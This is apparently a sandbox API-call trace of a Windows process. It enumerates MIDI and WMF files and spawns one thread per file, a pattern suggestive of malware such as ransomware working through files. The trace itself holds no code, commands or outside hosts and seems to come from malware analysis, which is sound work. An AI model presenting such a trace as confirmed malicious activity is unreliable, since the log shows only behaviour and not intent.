	[0262.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b0
	[0262.731] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.732] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1
	[0262.732] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b4
	[0262.734] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.734] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1
	[0262.734] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22b8
	[0262.751] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.752] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1
	[0262.752] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22bc
	[0262.755] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.755] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1
	[0262.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c0
	[0262.757] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.758] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1
	[0262.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0262.760] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c4
	[0264.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.691] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1
	[0264.692] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c8
	[0264.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.694] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1
	[0264.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22cc
	[0264.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.697] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1511, dwReserved0=0x72, dwReserved1=0x0, cFileName="PARNT_10.MID", cAlternateFileName="")) returned 1
	[0264.697] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d0
	[0264.699] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.699] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb480d800, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb480d800, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x6140, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00013_.WMF", cAlternateFileName="")) returned 1
	[0264.700] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d4
	[0264.702] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed5100, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ed5100, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x411a, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00014_.WMF", cAlternateFileName="")) returned 1
	[0264.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22d8
	[0264.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.705] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00034_.WMF", cAlternateFileName="")) returned 1
	[0264.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22dc
	[0264.706] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.707] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1
	[0264.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e0
	[0264.709] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.709] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1
	[0264.709] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e4
	[0264.711] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1
	[0264.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22e8
	[0264.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1
	[0264.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22ec
	[0264.715] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.716] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1
	[0264.716] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f0
	[0264.718] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.718] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1
	[0264.718] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f4
	[0264.720] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.721] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1
	[0264.721] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22f8
	[0264.722] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.723] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1
	[0264.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0264.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22fc
	[0266.111] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.111] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1
	[0266.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2300
	[0266.115] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.115] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1
	[0266.115] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2304
	[0266.118] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.118] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1
	[0266.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2308
	[0266.120] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.121] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1
	[0266.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230c
	[0266.124] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.124] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1
	[0266.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2310
	[0266.126] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.126] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1
	[0266.126] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2314
	[0266.128] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.129] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x72, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1
	[0266.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0266.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2318
	[0266.131] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
